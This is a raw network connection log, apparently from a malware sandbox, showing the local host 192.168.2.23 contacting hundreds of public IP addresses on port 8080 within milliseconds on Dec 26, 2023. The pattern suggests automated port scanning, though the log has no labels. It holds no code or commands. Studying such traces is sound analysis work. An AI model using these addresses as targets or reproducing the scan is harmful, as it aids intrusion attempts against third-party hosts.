Dec 26, 2023 21:22:48.514091015 CET	45469	8080	192.168.2.23	85.148.19.237
Dec 26, 2023 21:22:48.514095068 CET	45469	8080	192.168.2.23	31.164.18.218
Dec 26, 2023 21:22:48.514097929 CET	45469	8080	192.168.2.23	95.231.178.111
Dec 26, 2023 21:22:48.514111996 CET	45469	8080	192.168.2.23	62.203.108.13
Dec 26, 2023 21:22:48.514127970 CET	45469	8080	192.168.2.23	85.234.220.135
Dec 26, 2023 21:22:48.514138937 CET	45469	8080	192.168.2.23	62.247.217.229
Dec 26, 2023 21:22:48.514142036 CET	45469	8080	192.168.2.23	95.142.206.155
Dec 26, 2023 21:22:48.514148951 CET	45469	8080	192.168.2.23	95.174.129.215
Dec 26, 2023 21:22:48.514148951 CET	45469	8080	192.168.2.23	85.74.177.211
Dec 26, 2023 21:22:48.514149904 CET	45469	8080	192.168.2.23	31.227.180.86
Dec 26, 2023 21:22:48.514159918 CET	45469	8080	192.168.2.23	95.88.186.142
Dec 26, 2023 21:22:48.514175892 CET	45469	8080	192.168.2.23	95.142.224.42
Dec 26, 2023 21:22:48.514175892 CET	45469	8080	192.168.2.23	85.94.147.169
Dec 26, 2023 21:22:48.514190912 CET	45469	8080	192.168.2.23	62.158.34.42
Dec 26, 2023 21:22:48.514194965 CET	45469	8080	192.168.2.23	31.252.198.27
Dec 26, 2023 21:22:48.514215946 CET	45469	8080	192.168.2.23	31.115.81.15
Dec 26, 2023 21:22:48.514215946 CET	45469	8080	192.168.2.23	85.175.92.183
Dec 26, 2023 21:22:48.514233112 CET	45469	8080	192.168.2.23	31.250.144.112
Dec 26, 2023 21:22:48.514245033 CET	45469	8080	192.168.2.23	94.242.44.56
Dec 26, 2023 21:22:48.514247894 CET	45469	8080	192.168.2.23	62.106.47.196
Dec 26, 2023 21:22:48.514273882 CET	45469	8080	192.168.2.23	85.227.23.233
Dec 26, 2023 21:22:48.514273882 CET	45469	8080	192.168.2.23	85.136.165.96
Dec 26, 2023 21:22:48.514282942 CET	45469	8080	192.168.2.23	85.32.5.117
Dec 26, 2023 21:22:48.514302015 CET	45469	8080	192.168.2.23	31.109.76.231
Dec 26, 2023 21:22:48.514319897 CET	45469	8080	192.168.2.23	85.71.225.88
Dec 26, 2023 21:22:48.514322996 CET	45469	8080	192.168.2.23	31.24.12.206
Dec 26, 2023 21:22:48.514328957 CET	45469	8080	192.168.2.23	95.96.61.103
Dec 26, 2023 21:22:48.514337063 CET	45469	8080	192.168.2.23	95.134.176.41
Dec 26, 2023 21:22:48.514354944 CET	45469	8080	192.168.2.23	95.230.178.11
Dec 26, 2023 21:22:48.514368057 CET	45469	8080	192.168.2.23	94.104.143.174
Dec 26, 2023 21:22:48.514381886 CET	45469	8080	192.168.2.23	85.254.84.189
Dec 26, 2023 21:22:48.514384985 CET	45469	8080	192.168.2.23	85.104.139.96
Dec 26, 2023 21:22:48.514394045 CET	45469	8080	192.168.2.23	85.108.60.5
Dec 26, 2023 21:22:48.514405966 CET	45469	8080	192.168.2.23	31.154.104.1
Dec 26, 2023 21:22:48.514410019 CET	45469	8080	192.168.2.23	62.240.246.221
Dec 26, 2023 21:22:48.514413118 CET	45469	8080	192.168.2.23	31.117.172.117
Dec 26, 2023 21:22:48.514413118 CET	45469	8080	192.168.2.23	85.113.89.80
Dec 26, 2023 21:22:48.514425993 CET	45469	8080	192.168.2.23	85.204.60.202
Dec 26, 2023 21:22:48.514425993 CET	45469	8080	192.168.2.23	31.64.6.90
Dec 26, 2023 21:22:48.514445066 CET	45469	8080	192.168.2.23	31.7.80.133
Dec 26, 2023 21:22:48.514453888 CET	45469	8080	192.168.2.23	62.19.0.28
Dec 26, 2023 21:22:48.514457941 CET	45469	8080	192.168.2.23	31.132.247.172
Dec 26, 2023 21:22:48.514460087 CET	45469	8080	192.168.2.23	31.131.5.185
Dec 26, 2023 21:22:48.514477015 CET	45469	8080	192.168.2.23	95.194.87.255
Dec 26, 2023 21:22:48.514493942 CET	45469	8080	192.168.2.23	94.81.200.210
Dec 26, 2023 21:22:48.514493942 CET	45469	8080	192.168.2.23	94.189.252.228
Dec 26, 2023 21:22:48.514499903 CET	45469	8080	192.168.2.23	94.52.168.250
Dec 26, 2023 21:22:48.514512062 CET	45469	8080	192.168.2.23	94.22.2.96
Dec 26, 2023 21:22:48.514532089 CET	45469	8080	192.168.2.23	31.52.194.249
Dec 26, 2023 21:22:48.514539957 CET	45469	8080	192.168.2.23	62.84.238.195
Dec 26, 2023 21:22:48.514548063 CET	45469	8080	192.168.2.23	94.139.113.75
Dec 26, 2023 21:22:48.514548063 CET	45469	8080	192.168.2.23	62.33.146.189
Dec 26, 2023 21:22:48.514566898 CET	45469	8080	192.168.2.23	62.157.10.149
Dec 26, 2023 21:22:48.514570951 CET	45469	8080	192.168.2.23	95.3.210.141
Dec 26, 2023 21:22:48.514583111 CET	45469	8080	192.168.2.23	62.165.254.60
Dec 26, 2023 21:22:48.514597893 CET	45469	8080	192.168.2.23	94.210.174.47
Dec 26, 2023 21:22:48.514604092 CET	45469	8080	192.168.2.23	31.163.44.36
Dec 26, 2023 21:22:48.514614105 CET	45469	8080	192.168.2.23	62.184.34.129
Dec 26, 2023 21:22:48.514638901 CET	45469	8080	192.168.2.23	62.191.255.163
Dec 26, 2023 21:22:48.514642000 CET	45469	8080	192.168.2.23	94.223.156.110
Dec 26, 2023 21:22:48.514650106 CET	45469	8080	192.168.2.23	95.229.173.186
Dec 26, 2023 21:22:48.514657974 CET	45469	8080	192.168.2.23	94.227.14.126
Dec 26, 2023 21:22:48.514671087 CET	45469	8080	192.168.2.23	85.255.227.141
Dec 26, 2023 21:22:48.514674902 CET	45469	8080	192.168.2.23	95.130.202.40
Dec 26, 2023 21:22:48.514678955 CET	45469	8080	192.168.2.23	85.105.83.113
Dec 26, 2023 21:22:48.514687061 CET	45469	8080	192.168.2.23	31.242.52.165
Dec 26, 2023 21:22:48.514697075 CET	45469	8080	192.168.2.23	85.124.36.101
Dec 26, 2023 21:22:48.514723063 CET	45469	8080	192.168.2.23	95.5.17.35
Dec 26, 2023 21:22:48.514727116 CET	45469	8080	192.168.2.23	31.4.14.212
Dec 26, 2023 21:22:48.514739037 CET	45469	8080	192.168.2.23	95.252.205.154
Dec 26, 2023 21:22:48.514746904 CET	45469	8080	192.168.2.23	94.7.148.133
Dec 26, 2023 21:22:48.514759064 CET	45469	8080	192.168.2.23	94.190.24.229
Dec 26, 2023 21:22:48.514771938 CET	45469	8080	192.168.2.23	31.108.22.53
Dec 26, 2023 21:22:48.514782906 CET	45469	8080	192.168.2.23	94.232.162.52
Dec 26, 2023 21:22:48.514801025 CET	45469	8080	192.168.2.23	95.142.1.1
Dec 26, 2023 21:22:48.514801025 CET	45469	8080	192.168.2.23	95.148.7.16
Dec 26, 2023 21:22:48.514810085 CET	45469	8080	192.168.2.23	31.167.107.50
Dec 26, 2023 21:22:48.514812946 CET	45469	8080	192.168.2.23	94.78.10.165
Dec 26, 2023 21:22:48.514818907 CET	45469	8080	192.168.2.23	95.156.141.154
Dec 26, 2023 21:22:48.514827967 CET	45469	8080	192.168.2.23	85.142.14.96
Dec 26, 2023 21:22:48.514842987 CET	45469	8080	192.168.2.23	95.151.37.121
Dec 26, 2023 21:22:48.514858961 CET	45469	8080	192.168.2.23	62.148.9.24
Dec 26, 2023 21:22:48.514866114 CET	45469	8080	192.168.2.23	31.163.38.241
Dec 26, 2023 21:22:48.514875889 CET	45469	8080	192.168.2.23	85.35.226.198
Dec 26, 2023 21:22:48.514893055 CET	45469	8080	192.168.2.23	85.68.58.148
Dec 26, 2023 21:22:48.514898062 CET	45469	8080	192.168.2.23	94.93.132.41
Dec 26, 2023 21:22:48.514911890 CET	45469	8080	192.168.2.23	94.75.83.45
Dec 26, 2023 21:22:48.514918089 CET	45469	8080	192.168.2.23	85.174.17.19
Dec 26, 2023 21:22:48.514919043 CET	45469	8080	192.168.2.23	62.26.176.191
Dec 26, 2023 21:22:48.514941931 CET	45469	8080	192.168.2.23	95.119.117.77
Dec 26, 2023 21:22:48.514941931 CET	45469	8080	192.168.2.23	62.193.186.9
Dec 26, 2023 21:22:48.514942884 CET	45469	8080	192.168.2.23	31.156.136.148
Dec 26, 2023 21:22:48.514941931 CET	45469	8080	192.168.2.23	95.220.249.216
Dec 26, 2023 21:22:48.514942884 CET	45469	8080	192.168.2.23	95.216.130.243
Dec 26, 2023 21:22:48.514956951 CET	45469	8080	192.168.2.23	94.200.207.5
Dec 26, 2023 21:22:48.514964104 CET	45469	8080	192.168.2.23	31.227.180.8
Dec 26, 2023 21:22:48.514964104 CET	45469	8080	192.168.2.23	62.125.129.235
Dec 26, 2023 21:22:48.514966011 CET	45469	8080	192.168.2.23	31.124.30.151
Dec 26, 2023 21:22:48.514982939 CET	45469	8080	192.168.2.23	94.185.126.139
Dec 26, 2023 21:22:48.514997959 CET	45469	8080	192.168.2.23	62.41.243.168
Dec 26, 2023 21:22:48.514998913 CET	45469	8080	192.168.2.23	85.215.165.6
Dec 26, 2023 21:22:48.515005112 CET	45469	8080	192.168.2.23	95.48.47.181
Dec 26, 2023 21:22:48.515014887 CET	45469	8080	192.168.2.23	31.108.28.184
Dec 26, 2023 21:22:48.515014887 CET	45469	8080	192.168.2.23	31.175.166.254
Dec 26, 2023 21:22:48.515023947 CET	45469	8080	192.168.2.23	94.37.211.82
Dec 26, 2023 21:22:48.515029907 CET	45469	8080	192.168.2.23	31.95.37.208
Dec 26, 2023 21:22:48.515037060 CET	45469	8080	192.168.2.23	31.123.87.218
Dec 26, 2023 21:22:48.515044928 CET	45469	8080	192.168.2.23	94.91.192.158
Dec 26, 2023 21:22:48.515047073 CET	45469	8080	192.168.2.23	94.225.73.209
Dec 26, 2023 21:22:48.515059948 CET	45469	8080	192.168.2.23	95.66.183.136
Dec 26, 2023 21:22:48.515059948 CET	45469	8080	192.168.2.23	94.195.90.58
Dec 26, 2023 21:22:48.515070915 CET	45469	8080	192.168.2.23	95.204.119.142
Dec 26, 2023 21:22:48.515085936 CET	45469	8080	192.168.2.23	62.234.90.205
Dec 26, 2023 21:22:48.515100956 CET	45469	8080	192.168.2.23	31.98.0.71
Dec 26, 2023 21:22:48.515100956 CET	45469	8080	192.168.2.23	31.5.157.207
Dec 26, 2023 21:22:48.515115976 CET	45469	8080	192.168.2.23	95.101.33.153
Dec 26, 2023 21:22:48.515129089 CET	45469	8080	192.168.2.23	95.243.17.72
Dec 26, 2023 21:22:48.515129089 CET	45469	8080	192.168.2.23	85.171.9.39
Dec 26, 2023 21:22:48.515141964 CET	45469	8080	192.168.2.23	31.180.140.129
Dec 26, 2023 21:22:48.515146017 CET	45469	8080	192.168.2.23	62.203.216.217
Dec 26, 2023 21:22:48.515161037 CET	45469	8080	192.168.2.23	31.18.54.218
Dec 26, 2023 21:22:48.515175104 CET	45469	8080	192.168.2.23	94.1.134.124
Dec 26, 2023 21:22:48.515185118 CET	45469	8080	192.168.2.23	62.187.83.121
Dec 26, 2023 21:22:48.515189886 CET	45469	8080	192.168.2.23	94.164.46.163
Dec 26, 2023 21:22:48.515192032 CET	45469	8080	192.168.2.23	94.234.83.78
Dec 26, 2023 21:22:48.515192032 CET	45469	8080	192.168.2.23	31.57.231.210
Dec 26, 2023 21:22:48.515212059 CET	45469	8080	192.168.2.23	85.106.100.230
Dec 26, 2023 21:22:48.515213013 CET	45469	8080	192.168.2.23	31.224.37.213
Dec 26, 2023 21:22:48.515223026 CET	45469	8080	192.168.2.23	94.116.201.178
Dec 26, 2023 21:22:48.515232086 CET	45469	8080	192.168.2.23	31.26.73.99
Dec 26, 2023 21:22:48.515244961 CET	45469	8080	192.168.2.23	85.141.105.17
Dec 26, 2023 21:22:48.515265942 CET	45469	8080	192.168.2.23	94.172.21.218
Dec 26, 2023 21:22:48.515265942 CET	45469	8080	192.168.2.23	31.108.241.18
Dec 26, 2023 21:22:48.515275955 CET	45469	8080	192.168.2.23	95.223.40.172
Dec 26, 2023 21:22:48.515283108 CET	45469	8080	192.168.2.23	31.201.43.132
Dec 26, 2023 21:22:48.515283108 CET	45469	8080	192.168.2.23	31.13.43.98
Dec 26, 2023 21:22:48.515291929 CET	45469	8080	192.168.2.23	31.100.67.124
Dec 26, 2023 21:22:48.515307903 CET	45469	8080	192.168.2.23	62.63.141.8
Dec 26, 2023 21:22:48.515314102 CET	45469	8080	192.168.2.23	85.86.3.110
Dec 26, 2023 21:22:48.515328884 CET	45469	8080	192.168.2.23	31.223.204.106
Dec 26, 2023 21:22:48.515331030 CET	45469	8080	192.168.2.23	62.127.214.7
Dec 26, 2023 21:22:48.515333891 CET	45469	8080	192.168.2.23	85.74.177.23
Dec 26, 2023 21:22:48.515347004 CET	45469	8080	192.168.2.23	31.255.167.22
Dec 26, 2023 21:22:48.515353918 CET	45469	8080	192.168.2.23	94.5.145.200
Dec 26, 2023 21:22:48.515356064 CET	45469	8080	192.168.2.23	95.31.236.87
Dec 26, 2023 21:22:48.515356064 CET	45469	8080	192.168.2.23	94.171.57.14
Dec 26, 2023 21:22:48.515376091 CET	45469	8080	192.168.2.23	31.36.58.147
Dec 26, 2023 21:22:48.515393019 CET	45469	8080	192.168.2.23	62.115.176.17
Dec 26, 2023 21:22:48.515403032 CET	45469	8080	192.168.2.23	85.85.192.53
Dec 26, 2023 21:22:48.515410900 CET	45469	8080	192.168.2.23	85.198.112.198
Dec 26, 2023 21:22:48.515415907 CET	45469	8080	192.168.2.23	94.157.45.94
Dec 26, 2023 21:22:48.515424967 CET	45469	8080	192.168.2.23	85.128.157.95
Dec 26, 2023 21:22:48.515424967 CET	45469	8080	192.168.2.23	85.135.24.48
Dec 26, 2023 21:22:48.515428066 CET	45469	8080	192.168.2.23	31.218.79.46
Dec 26, 2023 21:22:48.515436888 CET	45469	8080	192.168.2.23	85.125.169.116
Dec 26, 2023 21:22:48.515444040 CET	45469	8080	192.168.2.23	85.133.128.84
Dec 26, 2023 21:22:48.515458107 CET	45469	8080	192.168.2.23	62.5.233.149
Dec 26, 2023 21:22:48.515460968 CET	45469	8080	192.168.2.23	62.214.2.22
Dec 26, 2023 21:22:48.515466928 CET	45469	8080	192.168.2.23	95.164.134.205
Dec 26, 2023 21:22:48.515470982 CET	45469	8080	192.168.2.23	62.41.252.151
Dec 26, 2023 21:22:48.515475035 CET	45469	8080	192.168.2.23	94.86.251.111
Dec 26, 2023 21:22:48.515492916 CET	45469	8080	192.168.2.23	31.11.192.233
Dec 26, 2023 21:22:48.515492916 CET	45469	8080	192.168.2.23	95.153.255.135
Dec 26, 2023 21:22:48.515499115 CET	45469	8080	192.168.2.23	31.32.151.169
Dec 26, 2023 21:22:48.515506983 CET	45469	8080	192.168.2.23	31.170.180.236
Dec 26, 2023 21:22:48.515525103 CET	45469	8080	192.168.2.23	31.49.37.248
Dec 26, 2023 21:22:48.515527964 CET	45469	8080	192.168.2.23	62.79.211.218
Dec 26, 2023 21:22:48.515537977 CET	45469	8080	192.168.2.23	94.72.74.177
Dec 26, 2023 21:22:48.515539885 CET	45469	8080	192.168.2.23	95.241.254.35
Dec 26, 2023 21:22:48.515547037 CET	45469	8080	192.168.2.23	85.220.112.198
Dec 26, 2023 21:22:48.515556097 CET	45469	8080	192.168.2.23	31.4.144.69
Dec 26, 2023 21:22:48.515566111 CET	45469	8080	192.168.2.23	85.182.114.125
Dec 26, 2023 21:22:48.515577078 CET	45469	8080	192.168.2.23	95.215.172.108
Dec 26, 2023 21:22:48.515580893 CET	45469	8080	192.168.2.23	94.161.0.151
Dec 26, 2023 21:22:48.515593052 CET	45469	8080	192.168.2.23	85.139.178.5
Dec 26, 2023 21:22:48.515594006 CET	45469	8080	192.168.2.23	62.132.57.167
Dec 26, 2023 21:22:48.515609026 CET	45469	8080	192.168.2.23	94.105.95.69
Dec 26, 2023 21:22:48.515621901 CET	45469	8080	192.168.2.23	62.65.197.91
Dec 26, 2023 21:22:48.515635967 CET	45469	8080	192.168.2.23	94.45.30.194
Dec 26, 2023 21:22:48.515644073 CET	45469	8080	192.168.2.23	62.163.238.225
Dec 26, 2023 21:22:48.515649080 CET	45469	8080	192.168.2.23	31.16.125.16
Dec 26, 2023 21:22:48.515652895 CET	45469	8080	192.168.2.23	31.150.102.139
Dec 26, 2023 21:22:48.515667915 CET	45469	8080	192.168.2.23	94.103.178.109
Dec 26, 2023 21:22:48.515682936 CET	45469	8080	192.168.2.23	62.26.3.135
Dec 26, 2023 21:22:48.515687943 CET	45469	8080	192.168.2.23	62.0.53.181
Dec 26, 2023 21:22:48.515690088 CET	45469	8080	192.168.2.23	31.139.222.225
Dec 26, 2023 21:22:48.515714884 CET	45469	8080	192.168.2.23	85.180.230.165
Dec 26, 2023 21:22:48.515717983 CET	45469	8080	192.168.2.23	31.247.201.50
Dec 26, 2023 21:22:48.515721083 CET	45469	8080	192.168.2.23	62.149.12.11
Dec 26, 2023 21:22:48.515717983 CET	45469	8080	192.168.2.23	95.231.21.209
Dec 26, 2023 21:22:48.515739918 CET	45469	8080	192.168.2.23	95.3.184.131
Dec 26, 2023 21:22:48.515749931 CET	45469	8080	192.168.2.23	94.28.87.220
Dec 26, 2023 21:22:48.515750885 CET	45469	8080	192.168.2.23	94.209.80.34
Dec 26, 2023 21:22:48.515764952 CET	45469	8080	192.168.2.23	62.131.195.212
Dec 26, 2023 21:22:48.515775919 CET	45469	8080	192.168.2.23	85.21.54.71
Dec 26, 2023 21:22:48.515793085 CET	45469	8080	192.168.2.23	95.208.212.16
Dec 26, 2023 21:22:48.515811920 CET	45469	8080	192.168.2.23	62.169.8.220
Dec 26, 2023 21:22:48.515825033 CET	45469	8080	192.168.2.23	94.49.149.158
Dec 26, 2023 21:22:48.515825033 CET	45469	8080	192.168.2.23	85.230.39.105
Dec 26, 2023 21:22:48.515829086 CET	45469	8080	192.168.2.23	94.240.20.185
Dec 26, 2023 21:22:48.515849113 CET	45469	8080	192.168.2.23	62.67.67.187
Dec 26, 2023 21:22:48.515849113 CET	45469	8080	192.168.2.23	31.206.53.168
Dec 26, 2023 21:22:48.515866995 CET	45469	8080	192.168.2.23	85.111.86.158
Dec 26, 2023 21:22:48.515866995 CET	45469	8080	192.168.2.23	85.208.118.196
Dec 26, 2023 21:22:48.515866995 CET	45469	8080	192.168.2.23	85.102.83.140
Dec 26, 2023 21:22:48.515882969 CET	45469	8080	192.168.2.23	95.151.160.70
Dec 26, 2023 21:22:48.515902996 CET	45469	8080	192.168.2.23	31.174.255.1
Dec 26, 2023 21:22:48.515916109 CET	45469	8080	192.168.2.23	62.113.235.16
Dec 26, 2023 21:22:48.515929937 CET	45469	8080	192.168.2.23	62.132.21.173
Dec 26, 2023 21:22:48.515944004 CET	45469	8080	192.168.2.23	85.85.119.8
Dec 26, 2023 21:22:48.515959978 CET	45469	8080	192.168.2.23	95.170.98.232
Dec 26, 2023 21:22:48.515970945 CET	45469	8080	192.168.2.23	85.9.11.81
Dec 26, 2023 21:22:48.515980959 CET	45469	8080	192.168.2.23	31.253.187.39
Dec 26, 2023 21:22:48.515985966 CET	45469	8080	192.168.2.23	95.106.136.75
Dec 26, 2023 21:22:48.516000986 CET	45469	8080	192.168.2.23	31.213.228.103
Dec 26, 2023 21:22:48.516010046 CET	45469	8080	192.168.2.23	94.138.253.204
Dec 26, 2023 21:22:48.516019106 CET	45469	8080	192.168.2.23	31.2.21.17
Dec 26, 2023 21:22:48.516022921 CET	45469	8080	192.168.2.23	94.116.159.170
Dec 26, 2023 21:22:48.516026020 CET	45469	8080	192.168.2.23	94.222.33.143
Dec 26, 2023 21:22:48.516035080 CET	45469	8080	192.168.2.23	31.137.211.223
Dec 26, 2023 21:22:48.516045094 CET	45469	8080	192.168.2.23	95.152.184.183
Dec 26, 2023 21:22:48.516050100 CET	45469	8080	192.168.2.23	94.11.185.103
Dec 26, 2023 21:22:48.516052008 CET	45469	8080	192.168.2.23	95.104.224.145
Dec 26, 2023 21:22:48.516053915 CET	45469	8080	192.168.2.23	31.22.215.151
Dec 26, 2023 21:22:48.516063929 CET	45469	8080	192.168.2.23	62.200.126.3
Dec 26, 2023 21:22:48.516077042 CET	45469	8080	192.168.2.23	62.146.24.141
Dec 26, 2023 21:22:48.516083002 CET	45469	8080	192.168.2.23	94.143.88.247
Dec 26, 2023 21:22:48.516091108 CET	45469	8080	192.168.2.23	31.66.124.42
Dec 26, 2023 21:22:48.516107082 CET	45469	8080	192.168.2.23	95.178.250.4
Dec 26, 2023 21:22:48.516118050 CET	45469	8080	192.168.2.23	94.13.7.113
Dec 26, 2023 21:22:48.516138077 CET	45469	8080	192.168.2.23	31.5.60.158
Dec 26, 2023 21:22:48.516138077 CET	45469	8080	192.168.2.23	85.103.85.219
Dec 26, 2023 21:22:48.516144037 CET	45469	8080	192.168.2.23	94.126.95.210
Dec 26, 2023 21:22:48.516146898 CET	45469	8080	192.168.2.23	62.126.2.159
Dec 26, 2023 21:22:48.516160965 CET	45469	8080	192.168.2.23	94.244.182.130
Dec 26, 2023 21:22:48.516161919 CET	45469	8080	192.168.2.23	85.229.15.172
Dec 26, 2023 21:22:48.516180038 CET	45469	8080	192.168.2.23	62.70.54.183
Dec 26, 2023 21:22:48.516181946 CET	45469	8080	192.168.2.23	94.79.243.230
Dec 26, 2023 21:22:48.516187906 CET	45469	8080	192.168.2.23	62.187.111.201
Dec 26, 2023 21:22:48.516196966 CET	45469	8080	192.168.2.23	85.152.12.164
Dec 26, 2023 21:22:48.516197920 CET	45469	8080	192.168.2.23	85.110.94.148
Dec 26, 2023 21:22:48.516212940 CET	45469	8080	192.168.2.23	62.24.81.114
Dec 26, 2023 21:22:48.516220093 CET	45469	8080	192.168.2.23	95.213.169.142
Dec 26, 2023 21:22:48.516230106 CET	45469	8080	192.168.2.23	95.7.61.83
Dec 26, 2023 21:22:48.516232967 CET	45469	8080	192.168.2.23	62.251.74.76
Dec 26, 2023 21:22:48.516258001 CET	45469	8080	192.168.2.23	95.155.176.142
Dec 26, 2023 21:22:48.516258001 CET	45469	8080	192.168.2.23	85.88.74.173
Dec 26, 2023 21:22:48.516263008 CET	45469	8080	192.168.2.23	85.175.9.216
Dec 26, 2023 21:22:48.516268969 CET	45469	8080	192.168.2.23	95.3.173.17
Dec 26, 2023 21:22:48.516278028 CET	45469	8080	192.168.2.23	62.133.214.82
Dec 26, 2023 21:22:48.516293049 CET	45469	8080	192.168.2.23	62.212.122.11
Dec 26, 2023 21:22:48.516294003 CET	45469	8080	192.168.2.23	95.163.15.218
Dec 26, 2023 21:22:48.516303062 CET	45469	8080	192.168.2.23	85.166.93.197
Dec 26, 2023 21:22:48.516331911 CET	45469	8080	192.168.2.23	95.155.76.17
Dec 26, 2023 21:22:48.516333103 CET	45469	8080	192.168.2.23	62.62.128.212
Dec 26, 2023 21:22:48.516344070 CET	45469	8080	192.168.2.23	94.84.72.22
Dec 26, 2023 21:22:48.516366959 CET	45469	8080	192.168.2.23	85.124.129.234
Dec 26, 2023 21:22:48.516366959 CET	45469	8080	192.168.2.23	31.160.175.63
Dec 26, 2023 21:22:48.516374111 CET	45469	8080	192.168.2.23	94.65.207.11
Dec 26, 2023 21:22:48.516380072 CET	45469	8080	192.168.2.23	85.3.4.185
Dec 26, 2023 21:22:48.516381979 CET	45469	8080	192.168.2.23	31.55.166.22
Dec 26, 2023 21:22:48.516382933 CET	45469	8080	192.168.2.23	95.186.31.47
Dec 26, 2023 21:22:48.516390085 CET	45469	8080	192.168.2.23	31.112.239.244
Dec 26, 2023 21:22:48.516390085 CET	45469	8080	192.168.2.23	62.207.137.6
Dec 26, 2023 21:22:48.516395092 CET	45469	8080	192.168.2.23	94.30.10.176
Dec 26, 2023 21:22:48.516395092 CET	45469	8080	192.168.2.23	94.13.158.251
Dec 26, 2023 21:22:48.516403913 CET	45469	8080	192.168.2.23	62.200.80.80
Dec 26, 2023 21:22:48.516408920 CET	45469	8080	192.168.2.23	95.99.70.125
Dec 26, 2023 21:22:48.516418934 CET	45469	8080	192.168.2.23	94.118.98.155
Dec 26, 2023 21:22:48.516432047 CET	45469	8080	192.168.2.23	85.72.120.179
Dec 26, 2023 21:22:48.516448021 CET	45469	8080	192.168.2.23	31.77.151.121
Dec 26, 2023 21:22:48.516462088 CET	45469	8080	192.168.2.23	62.191.131.146
Dec 26, 2023 21:22:48.516474009 CET	45469	8080	192.168.2.23	95.60.115.88
Dec 26, 2023 21:22:48.516474009 CET	45469	8080	192.168.2.23	94.109.41.76
Dec 26, 2023 21:22:48.516486883 CET	45469	8080	192.168.2.23	94.129.98.176
Dec 26, 2023 21:22:48.516498089 CET	45469	8080	192.168.2.23	62.205.193.118
Dec 26, 2023 21:22:48.516498089 CET	45469	8080	192.168.2.23	95.53.101.74
Dec 26, 2023 21:22:48.516510010 CET	45469	8080	192.168.2.23	62.71.2.211
Dec 26, 2023 21:22:48.516520023 CET	45469	8080	192.168.2.23	94.161.49.46
Dec 26, 2023 21:22:48.516521931 CET	45469	8080	192.168.2.23	62.163.122.19
Dec 26, 2023 21:22:48.516529083 CET	45469	8080	192.168.2.23	31.203.189.37
Dec 26, 2023 21:22:48.516544104 CET	45469	8080	192.168.2.23	85.218.164.41
Dec 26, 2023 21:22:48.516552925 CET	45469	8080	192.168.2.23	62.146.10.120
Dec 26, 2023 21:22:48.516562939 CET	45469	8080	192.168.2.23	95.85.143.24
Dec 26, 2023 21:22:48.516573906 CET	45469	8080	192.168.2.23	94.77.175.62
Dec 26, 2023 21:22:48.516583920 CET	45469	8080	192.168.2.23	62.97.129.145
Dec 26, 2023 21:22:48.516583920 CET	45469	8080	192.168.2.23	94.141.244.12
Dec 26, 2023 21:22:48.516591072 CET	45469	8080	192.168.2.23	85.156.217.110
Dec 26, 2023 21:22:48.516598940 CET	45469	8080	192.168.2.23	31.133.216.51
Dec 26, 2023 21:22:48.516611099 CET	45469	8080	192.168.2.23	94.22.57.35
Dec 26, 2023 21:22:48.516617060 CET	45469	8080	192.168.2.23	31.162.146.33
Dec 26, 2023 21:22:48.516619921 CET	45469	8080	192.168.2.23	85.82.219.127
Dec 26, 2023 21:22:48.516633034 CET	45469	8080	192.168.2.23	85.210.42.150
Dec 26, 2023 21:22:48.516649961 CET	45469	8080	192.168.2.23	31.120.27.67
Dec 26, 2023 21:22:48.516649961 CET	45469	8080	192.168.2.23	94.120.207.99
Dec 26, 2023 21:22:48.516665936 CET	45469	8080	192.168.2.23	62.229.24.133
Dec 26, 2023 21:22:48.516669989 CET	45469	8080	192.168.2.23	31.4.20.181
Dec 26, 2023 21:22:48.516681910 CET	45469	8080	192.168.2.23	62.72.20.25
Dec 26, 2023 21:22:48.516694069 CET	45469	8080	192.168.2.23	85.247.138.199
Dec 26, 2023 21:22:48.516710043 CET	45469	8080	192.168.2.23	85.44.204.94
Dec 26, 2023 21:22:48.516715050 CET	45469	8080	192.168.2.23	94.103.13.131
Dec 26, 2023 21:22:48.516733885 CET	45469	8080	192.168.2.23	85.110.177.9
Dec 26, 2023 21:22:48.516733885 CET	45469	8080	192.168.2.23	85.203.157.93
Dec 26, 2023 21:22:48.516733885 CET	45469	8080	192.168.2.23	94.132.95.45
Dec 26, 2023 21:22:48.516736984 CET	45469	8080	192.168.2.23	31.211.249.227
Dec 26, 2023 21:22:48.516747952 CET	45469	8080	192.168.2.23	31.52.114.17
Dec 26, 2023 21:22:48.516766071 CET	45469	8080	192.168.2.23	85.61.234.184
Dec 26, 2023 21:22:48.516773939 CET	45469	8080	192.168.2.23	94.9.140.244
Dec 26, 2023 21:22:48.516773939 CET	45469	8080	192.168.2.23	31.224.132.199
Dec 26, 2023 21:22:48.516789913 CET	45469	8080	192.168.2.23	85.158.127.208
Dec 26, 2023 21:22:48.516793966 CET	45469	8080	192.168.2.23	94.58.192.123
Dec 26, 2023 21:22:48.516793966 CET	45469	8080	192.168.2.23	85.36.176.178
Dec 26, 2023 21:22:48.516808987 CET	45469	8080	192.168.2.23	95.199.245.145
Dec 26, 2023 21:22:48.516824007 CET	45469	8080	192.168.2.23	95.186.189.132
Dec 26, 2023 21:22:48.516830921 CET	45469	8080	192.168.2.23	94.122.40.240
Dec 26, 2023 21:22:48.516839981 CET	45469	8080	192.168.2.23	31.180.111.165
Dec 26, 2023 21:22:48.516844034 CET	45469	8080	192.168.2.23	85.253.240.203
Dec 26, 2023 21:22:48.516854048 CET	45469	8080	192.168.2.23	94.62.101.194
Dec 26, 2023 21:22:48.516856909 CET	45469	8080	192.168.2.23	94.201.36.34
Dec 26, 2023 21:22:48.516863108 CET	45469	8080	192.168.2.23	31.33.186.248
Dec 26, 2023 21:22:48.516872883 CET	45469	8080	192.168.2.23	94.219.238.87
Dec 26, 2023 21:22:48.516880989 CET	45469	8080	192.168.2.23	31.127.196.70
Dec 26, 2023 21:22:48.516891956 CET	45469	8080	192.168.2.23	95.20.208.18
Dec 26, 2023 21:22:48.516902924 CET	45469	8080	192.168.2.23	31.155.250.250
Dec 26, 2023 21:22:48.516916990 CET	45469	8080	192.168.2.23	62.202.41.113
Dec 26, 2023 21:22:48.516921043 CET	45469	8080	192.168.2.23	95.46.203.73
Dec 26, 2023 21:22:48.516923904 CET	45469	8080	192.168.2.23	95.44.121.254
Dec 26, 2023 21:22:48.516931057 CET	45469	8080	192.168.2.23	95.17.208.41
Dec 26, 2023 21:22:48.516942024 CET	45469	8080	192.168.2.23	31.251.52.1
Dec 26, 2023 21:22:48.516954899 CET	45469	8080	192.168.2.23	94.15.127.169
Dec 26, 2023 21:22:48.516969919 CET	45469	8080	192.168.2.23	85.74.139.29
Dec 26, 2023 21:22:48.516973019 CET	45469	8080	192.168.2.23	85.178.97.230
Dec 26, 2023 21:22:48.516978979 CET	45469	8080	192.168.2.23	85.113.22.129
